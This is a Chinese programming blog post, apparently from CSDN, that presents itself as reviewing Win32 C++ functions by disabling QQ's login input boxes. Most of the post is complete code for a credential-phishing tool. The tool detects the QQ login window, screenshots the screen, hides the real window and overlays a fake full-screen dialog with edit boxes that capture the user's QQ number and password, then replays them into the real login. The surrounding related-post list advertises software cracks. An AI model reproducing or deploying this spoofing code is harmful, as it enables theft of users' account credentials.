从屏蔽QQ登录输入框温习几个c++函数

简单的C++实现QQ用户注册和登陆,类似于通讯录 实现QQ和密码验证登陆成功后会跳转至通讯录界面,做课程设计很不错 立即下载
从屏蔽QQ登录输入框温习几个c++函数先看c++ builder的代码:void__fastcall TForm1::FormCreate(TObject*Sender){HWND hCurWindow,HC,HE;//定义三个窗口句柄变量,hCurWindow用于存放QQ用户登录窗口的句柄,HC,HE分别存放号码框和密码框的句柄if((hCurWindow=FindWindow(Null,"QQ用户登录"))!=0){//调用FindWindow()函数去获得QQ登录窗口的句柄 string str; str.sprintf("0x%x",hCurWindow);}TCHAR wClassName[255];//类名变量HC=GetWindow(hCurWindow,GW_CHILD);//得到号码框的句柄HE=GetWindow(HC,GW_HWNDNEXT);//得到密码框的句柄GetClassName(HE,wClassName,sizeof(wClassName));//得到类名GetClassName(HC,wClassName,sizeof(wClassName));//得到类名EnableWindow(HE,false);//使窗口失效EnableWindow(HC,false);//使窗口失效EnableWindow()是个关键的函数,前面是为这个函数做铺垫的,关键是要获得框的句柄,如果FindWindow()和GetWindow()其中一个函数被HOOK的话,那么屏蔽输入框就没有效果了。这几个函数在VC里面同样可以用。FindWindow()函数有一个特性:一次只运行一个程序实例,如果已运行则退出。代码例:if( FindWindow(NULL,"程序标题")) exit(0);------------------------------------------------------------------------------------------------------------------------------再列出VC利用这个函数的实例,也是针对QQ的,代码如下:#include #include #include "resource.h"HBITMAP g_pBitmap; //保存截取的屏幕图像char qqpass[64] = "\0"; //保存用户输入的QQ密码char qqid[64] = "\0"; //保存用户输入的QQ号码HFONT myfont;RECT g_qqIDRt, g_qqPassRt, g_qqLogin, g_qqCancel, g_DlgRt; //保存QQ号码,密码,登陆,取消等窗口的区域HWND QQID = NULL, QQPASS =NULL;HWND g_hWnd = NULL;//获取屏幕分辩率int m_xScreen = GetSystemMetrics(SM_CXSCREEN);int m_yScreen = GetSystemMetrics(SM_CYSCREEN);BOOL CreateQQItem(HWND hWnd);BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID);void QQFind();HBITMAP CopyScreenToBitmap(LPRECT lpRect);LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);//根据进程ID得到进程名称BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnapshot, &pe)) { return FALSE; } while (Process32Next(hSnapshot, &pe)) { if (pe.th32ProcessID == PID) { strcpy(lpszProcessName, pe.szExeFile); return true; } } return FALSE;}//查找QQ登录窗口void QQFind(){ HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; HWND ButtonLogin = NULL, ButtonCancel = NULL; char sTitle[255]; CString ss; DWORD QQPID; int LoginID; BOOL find = FALSE; do { //获得当前激活窗口的句柄 g_hWnd = GetForegroundWindow(); GetWindowThreadProcessId(g_hWnd, &QQPID); //根据PID获得进程名 processIdToName(sTitle, QQPID); ss = sTitle; ss.MakeLower(); //判断是否QQ if(ss != "qq.exe") { Sleep(100); continue; } //获得标题文字,判断是否登陆对话框 SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); ss = sTitle; int n = ss.Find("QQ", 0); int m = ss.Find("登录", 0); if(n >= 0 || m >= 0) { //查找QQ登陆按钮的句柄 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); //获得QQ登陆按钮窗口位置 GetWindowRect(ButtonLogin, &g_qqLogin); //查找QQ取消按钮的句柄 ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); //获得QQ取消按钮窗口位置 GetWindowRect(ButtonCancel, &g_qqCancel); //查找QQ密码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL); if(hWnd1 != NULL) { qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); //获得QQ密码输入框窗口位置 GetWindowRect(qqPass_hWnd, &g_qqPassRt); } //查找QQ号码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); if(hWnd1 != NULL) { qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); //获得QQ号码输入框窗口位置 GetWindowRect(qqID_hWnd, &g_qqIDRt); //获得当前默认QQ号码 SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); } //等待QQ窗口完全出现后抓取整个屏幕 Sleep(100); g_DlgRt.left = 0; g_DlgRt.top = 0; g_DlgRt.right = m_xScreen; g_DlgRt.bottom = m_yScreen; g_pBitmap = CopyScreenToBitmap(&g_DlgRt); //设置QQ窗口为不可见 ShowWindow(g_hWnd, SW_HIDE);// LONG qqPassStyle;// qqPassStyle = GetWindowLong(g_hWnd, GWL_STYLE);// SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle & ~WS_VISIBLE); //弹出我们创建的伪造对话框 HINSTANCE hInstance = GetModuleHandle(NULL); DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); //设置QQ窗口为可见 ShowWindow(g_hWnd, SW_SHOW); //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); SendMessage(ButtonLogin, BM_CLICK, 0, 0);// SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle | WS_VISIBLE);// InvalidateRect(g_hWnd, &g_DlgRt, TRUE); DeleteObject(g_pBitmap); //设置标志退出循环 find = true; } } while(find == FALSE);}//拷贝屏幕HBITMAP CopyScreenToBitmap(LPRECT lpRect)//lpRect 代表选定区域{ HDC hScrDC, hMemDC; // 屏幕和内存设备描述表 HBITMAP hBitmap, hOldBitmap; // 位图句柄 int nX, nY, nX2, nY2; // 选定区域坐标 int nWidth, nHeight; // 确保选定区域不为空矩形 if (IsRectEmpty(lpRect)) return NULL; //为屏幕创建设备描述表 hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL); //为屏幕设备描述表创建兼容的内存设备描述表 hMemDC = CreateCompatibleDC(hScrDC); // 获得选定区域坐标 nX = lpRect->left; nY = lpRect->top; nX2 = lpRect->right; nY2 = lpRect->bottom; //确保选定区域是可见的 if (nX < 0) nX = 0; if (nY < 0) nY = 0; if (nX2 > m_xScreen) nX2 = m_xScreen; if (nY2 > m_yScreen) nY2 = m_yScreen; nWidth = nX2 - nX; nHeight = nY2 - nY; // 创建一个与屏幕设备描述表兼容的位图 hBitmap = CreateCompatibleBitmap (hScrDC, nWidth, nHeight); // 把新位图选到内存设备描述表中 hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); // 把屏幕设备描述表拷贝到内存设备描述表中 BitBlt(hMemDC, 0, 0, nWidth, nHeight, hScrDC, nX, nY, SRCCOPY); hBitmap = (HBITMAP)SelectObject(hMemDC, hOldBitmap); //得到屏幕位图的句柄 //清除 DeleteDC(hScrDC); DeleteDC(hMemDC); // 返回位图句柄 return hBitmap;}//对话框回调函数LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam){ BOOL bRet; HDC dc, MemDc; POINT point; switch (message) { case WM_INITDIALOG: bRet = CreateQQItem(hDlg); //为对话框创建两个文本框来获取用户的输入 //设置对话框占满整个屏幕,并保持最前 bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW); return TRUE; case WM_ERASEBKGND: //贴上截取的图片来刷新背景 dc = (HDC) wParam; MemDc = CreateCompatibleDC(dc); SelectObject(MemDc, g_pBitmap); BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY); DeleteDC(MemDc); return true; case WM_LBUTTONDOWN: point.x=LOWORD(lParam); point.y=HIWORD(lParam); //判断用户是否点击贴图上QQ登陆的按钮 if(PtInRect(&g_qqLogin, point) == true) { //获取用户的输入 GetWindowText(QQPASS, qqpass, 64); GetWindowText(QQID, qqid, 64); MessageBox(hDlg, qqpass, qqid, MB_OK); DeleteObject(myfont); EndDialog(hDlg, 0); } break; case WM_CLOSE: EndDialog(hDlg, 0); break; } return FALSE;}BOOL CreateQQItem(HWND hWnd){ //创建字体,因为系统默认是宋体 myfont=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial"); //创建QQ号码输入文本框 int Width, Height; Width = g_qqIDRt.right - g_qqIDRt.left; Height = g_qqIDRt.bottom - g_qqIDRt.top; QQID = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW, g_qqIDRt.left, \ g_qqIDRt.top, Width, Height, hWnd, (HMENU)1000, GetModuleHandle(NULL), NULL); if(QQID == NULL) return FALSE; //根据获得的用户号码填充文本框,增加欺骗效果 SendMessage(QQID, WM_SETTEXT, 0,(LPARAM)qqid); SendMessage(QQID,WM_SETFONT, (WPARAM)myfont,(LPARAM)0); //设置文本框的字体 //创建QQ密码输入文本框 Width = g_qqPassRt.right - g_qqPassRt.left; Height = g_qqPassRt.bottom - g_qqPassRt.top; QQPASS = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW | ES_PASSWORD, g_qqPassRt.left, \ g_qqPassRt.top, Width, Height, hWnd, (HMENU)1001, GetModuleHandle(NULL), NULL); if(QQPASS == NULL) return FALSE; SendMessage(QQPASS,WM_SETFONT,(WPARAM)myfont, (LPARAM)0); //设置文本框的字体 return true; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ QQFind(); return 0; }
【CarMaker实战指南】从零构建环形测试场景与车辆连续仿真 本文详细介绍了如何使用CarMaker软件从零构建环形测试场景与实现车辆连续仿真。通过分步指导搭建闭环道路、连接交叉路口、规划车辆轨迹等核心操作,帮助用户掌握CarMaker的基础应用技巧,并提供了常见问题排查与进阶优化建议,适用于车辆耐久性测试和自动驾驶算法验证等场景。 阅读详情

相关推荐

嵌入式Linux Qt/QML开发实战:从Buildroot配置到应用部署

本文详细介绍了嵌入式Linux Qt/QML开发全流程,从Buildroot系统配置、交叉编译工具链搭建到应用部署与调试。以RK3506开发板为例,提供实战指南,帮助开发者高效完成嵌入式应用开发,解决常见环境配置与性能优化问题。

m2n3o4p5的博客 229

在C++中禁止或允许权限

下列代码描述了如何在一个访问令牌中开启或关闭一项特权,样例调用 LookuPrivilegeValue 函数得到标示本地系统用户权限的识别标志LUID. 然后样例调用adjusttokenprivileges函数,至于是开启或关闭特权,这取决于benableprivilege参数。 BOOL SetPrivilege( HANDLE hToken, // access ...

weixin_30950887的博客 233

DeepL Pro免费使用技巧与API调用优化方案

机器翻译技术通过神经网络模型实现跨语言语义转换,其核心价值在于保持专业术语准确性的同时实现自然语言流畅度。现代翻译工具如DeepL采用注意力机制等深度学习技术,在医疗、法律等专业领域展现出接近人工翻译的质量。针对API调用场景,开发者可通过请求模拟实现小批量自动化处理,而文档预处理和术语库优化则能显著提升免费额度使用效率。本文重点解析如何通过字符计算优化、临时接口调用等工程实践方法,在合规前提下最大化利用免费翻译资源。

weixin_29038303的博客 266

禁止本地用户登陆

 禁止用户本地登录。在域环境下如何禁止客户机进行本地用户登陆,当禁用本地用户登陆后,如果客户机出现断网或者不能登陆域控制器的情况应该怎样解决。如果想让个别的人可以在本地登陆又该怎样做。 回答:根据您的描述,我对您提出的问题的理解是:您想知道如何禁止本地用户登录,但允许个别用户可以登录本机。我们能在域控制器上针对用户部署组策略,我们可以把允许登录本地和不允许登录本地用户分别加入到不同的OU,

sanshow的技术专栏 4328

MounRiver避坑实录:手把手迁移CH32V307 EVT工程到自定义目录

本文详细记录了将沁恒CH32V307的EVT工程迁移到自定义目录的完整流程与避坑指南。针对MounRiver Studio的虚拟链接机制,重点讲解了如何清理旧配置、重新设置头文件路径、链接脚本等关键步骤,帮助开发者创建独立、可维护的MCU项目工程。

uber9的博客 244

全国30米分辨率逐年植被覆盖度(FVC)数据集

植被覆盖度是描述地表植被的重要参数与生态环境的基本指标,在大气圈、土壤圈、水圈和生物圈中都占据着重要的地位,区域及全球范围的植被覆盖度估算对植被及相关领域的研究具有重要意义。往往参照《土壤侵蚀分类分级标准》,将植被覆盖度划分为4个等级:<30%为低覆盖度、30%—45%为中低覆盖度、45%—60%为中覆盖度、>60%为高覆盖度。本数据集包括1986至2022年间,全国植被覆盖度数据,FVC范围值为0-1,数据为浮点型,GeoTIFF格式。NDVImax 和NDVImin分别为区域内最大和最小的NDVI值。

地球资源数据云的官方博客 1967

一段设置用户禁用的代码

afeibacker的专栏 620

线性代数——(期末突击)行列式(上)-行列式计算、行列式的性质

简单解释一下:4213原本的顺序应为1234,对于‘4’而言,‘2’、‘1’、‘3’都应该排在它的前面,所以此处记逆序数为3;对于‘2’而言,‘1’应该排在它的前面,而‘3’排在它之后 是合理的,所以此处只有一个逆序数;最后看‘1’,其后面的‘3’排在后面显然也是合理的,故而4213的逆序数为4.一般我们使用这个性质来计算四阶行列式,也就是将其变换成三角行列式,再计算对角线的值;以主对角线为分界线的就为正三角,反之则为反三角行列式。若行列式某一行(列)为0,则该行列式=0.将和的那一行分开,其余行。

li13437542099的博客 1万+

QQ帐户的申请与登陆

实现QQ新帐户申请和老帐户登陆的简化版功能。最大挑战是:据说现在的QQ号码已经有10位数了。 输入格式: 输入首先给出一个正整数NNN(≤105\le 10^5≤10​5​​),随后给出NNN行指令。每行指令的格式为:“命令符(空格)QQ号码(空格)密码”。其中命令符为“N”(代表New)时表示要新申请一个QQ号,后面是新帐户的号码和密码;命令符为“L”(代表Login)时表示是老帐户登陆

樱花满地集于我心,楪舞纷飞祈愿相随 2266

【yolo】如何在 YOLOv8 中添加负样本以减少误检

在YOLOv8目标检测中,误检(False Positive)是一个常见问题,即模型将非目标区域错误识别为目标。通过引入负样本(Negative Samples),即不包含任何目标框的图像,可以有效减少误检。在YOLOv8中添加负样本的方法是为这些图像提供空的标注文件(.txt),确保每张图像都有对应的标注文件,即使内容为空。可以使用Python脚本自动生成这些空标注文件。使用负样本时需注意数量比例、标注一致性、验证集同步和图像质量。适当加入负样本能显著提升模型鲁棒性,降低误判风险。

songhuangong123的博客 2879

13、混合系统的离散与连续交互

本文详细探讨了混合系统中离散事件与连续动态的交互机制,涵盖了建模方法、分析技术、设计挑战以及多种控制策略。通过具体案例研究和操作语义的定义,展示了混合系统在制造业、交通系统、机器人技术和过程控制等领域的广泛应用。文章还介绍了实验仿真、稳定性研究及优化方法,旨在帮助读者全面理解混合系统的设计与控制要点,并为未来智能化和自适应混合系统的发展提供了展望。

5f4d3s2a1q的博客 128

长沙红胖子Qt·西安(长沙创微智科)博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结合等等)持续更新中...

长沙红胖子 Qt・西安,本人拥有省级科研团队从业背景,研发团队产出所有项目、产品方案和研发无分包、无外包、无AI代笔,长期深耕双一流体系高精尖技术配套研发。博客主动剥离复杂底层工况机理,专注沉淀高端、特种行业领域Qt工程化落地实战经验。所有内容均为个人梳理总结的通用性工程方法论,只输出可公开的普适技术思路。

长沙红胖子 Qt・西安|省级科研团队从业背景,深耕双一流体系高精尖技术配套研发|剥离高精尖机理,沉淀高端特种行业领域 Qt 工程化落地经验|博文仅分享通用技术总结,输出公开普适工程思路。 164万+

【RT-DETR实战】RT-DETR实战手记(200):端侧实时目标检测,下一步往哪儿走?

昨天深夜调一个模型部署,在树莓派4B上跑RT-DETR-nano,帧率死活卡在8FPS上不去。量化也做了,算子也优化了,内存对齐也检查了,可就是离实时检测的底线还差一截。盯着终端里跳动的数字,突然意识到——我们可能正在接近当前技术路径的瓶颈。端侧实时目标检测的下一个突破口,恐怕不在现有框架的修修补补里。

企鹅码农的专属播客,分享10多年的实战案例和经验解读,包含YOLO、RT-DETR、AI等各个工作领域。 187

用VC++制作QQ自动登陆软件

用VC++制作QQ自动登陆软件作者:李佳颖(niying) 近日由于在华为培训,期间因为导师们忙得要紧,没那么多时间去教导我们,只是给我们看文档和代码,看完了,没事就想出这个来玩玩了。这里要先用SPY++来找到QQ登陆框的各个窗口标题或ID号。 原理:其实不难,只要找到QQ登陆框的号码输入和密码输入框,然后向其填数据就是了。这里填数据就是向其发送消息,模拟键盘吧了。 

编爱程 3706

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

用c++编写一个简单的登录系统

编写一个简单登陆系统,拥有登录、注册、退出等简单的功能。 通过编写,根据程序的提示页面进行操作: 根据窗口提示,进行选择操作。> 具体代码:#include <iostream> using namespace std; class CDBase { public: CDBase() { _phead = new Node(); } ~CDBase() { Node *ptr = _phead;

qq_34289221的博客 3万+

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

QQ帐户的申请与登陆 (25分)

实现QQ新帐户申请和老帐户登陆的简化版功能。最大挑战是:据说现在的QQ号码已经有10位数了。 输入格式: 输入首先给出一个正整数N(≤105 ),随后给出N行指令。每行指令的格式为:“命令符(空格)QQ号码(空格)密码”。其中命令符为“N”(代表New)时表示要新申请一个QQ号,后面是新帐户的号码和密码;命令符为“L”(代表Login)时表示是老帐户登陆,后面是登陆信息。QQ号码为一个不超过10位、但大于1000(据说QQ老总的号码是1001)的整数。密码为不小于6位、不超过16位、且不包含空格的字符串。

xxxibgdrgn博客 1773

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

深挖C++:类和对象(中)

(先进后出)

xys_678的博客 255

C++移动构造函数详解

移动构造函数是C++11引入的一种特殊构造函数,用于从临时对象(右值)"窃取"资源来初始化新对象,而不是进行昂贵的深拷贝。char* data;public:// 移动构造函数:参数是右值引用 &&// 关键:把源对象的资源置空。

拒绝AI文,努力在AI时代写出感动人心的好文章 394

ThunderKittens 深度解析:一个不基于 MLIR 的 C++ 模板 GPU DSL

Triton 是"让更多人能写 GPU kernel",ThunderKittens 是"让会写的人写得更爽"。前者用 MLIR 换易用性,后者用 C++ 模板换可控性。它们不是替代关系,而是覆盖了 GPU 编程光谱的两端。ThunderKittens 的出现,本质上是对"GPU DSL 必须基于 MLIR"这一默认假设的挑战。编译期类型系统本身就可以是一个强大的 DSL 基础设施,不需要中间 IR,不需要黑盒 pass,也能实现 tile 级抽象和零运行时开销。

Maxwell_Newton的博客 351

跟我学c++中级篇—类型定义的方式

本文系统阐述了编程中类型定义的重要性及c++中的实现方式。重点对比了宏定义、typedef与modern using三种机制,指出using在可读性、灵活性和模板支持上的优势,推荐优先使用。同时提醒开发者注意别名滥用、类型歧义、错误信息冗长等问题,强调统一规范与合理设计。最终结论:在现代c++开发中,应以using为主,兼顾简洁性与可维护性,避免陷入命名混乱与编译困境。

fpcc的专栏 91

【C++——类和对象(上)】筑基篇:以封装奠定面向对象之基

本文系统梳理C++类与对象的核心知识点,涵盖类的定义、访问限定符(public/private)、类作用域、对象实例化及内存布局。重点解析封装思想、this指针机制、空类大小为1字节的原因,以及类与对象在内存中的存储差异。通过对比C语言结构体与C++类,揭示面向对象设计的优势:数据保护、接口统一、命名隔离与代码可维护性提升。内容由浅入深,适合作为学习笔记与复习参考。

2602_95684935的博客 595

【C++ 基础入门】C++11新特性(下):可变参数模板、lambda 表达式与包装器

C++11高阶特性(可变参数模板与参数包展开、emplace_back、lambda表达式与捕获列表、仿函数、std::function包装器)

2601_96587588的博客 242

#SQLite 数据库笔记一:(概念 / 终端指令 / SQL 语句 / C 编程 / 回调函数)

数据库 = 数据的仓库,假设数据是海量。能力说明存储数据持久化保存,程序退出数据还在统计数据、分组、排序数据管理增、删、改、查(CRUD)嵌入式设备上也会用数据库(单片机网关、路由器、工业 HMI 都常见),因为 sqlite 体积小、无需服务进程、单文件即可。数据库 = 库 > 表 > 记录(行) > 字段(列)sqlite3 = 开源、C 写的、单文件、免安装、最多 2T 的嵌入式关系型数据库。

lwq20051110的博客 257
上一篇: 创建基于 Win32 的应用程序 (C++)
下一篇: 从屏蔽QQ登录输入框温习几个c++函数
M-先生
博客等级 码龄17年 60粉丝 6原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值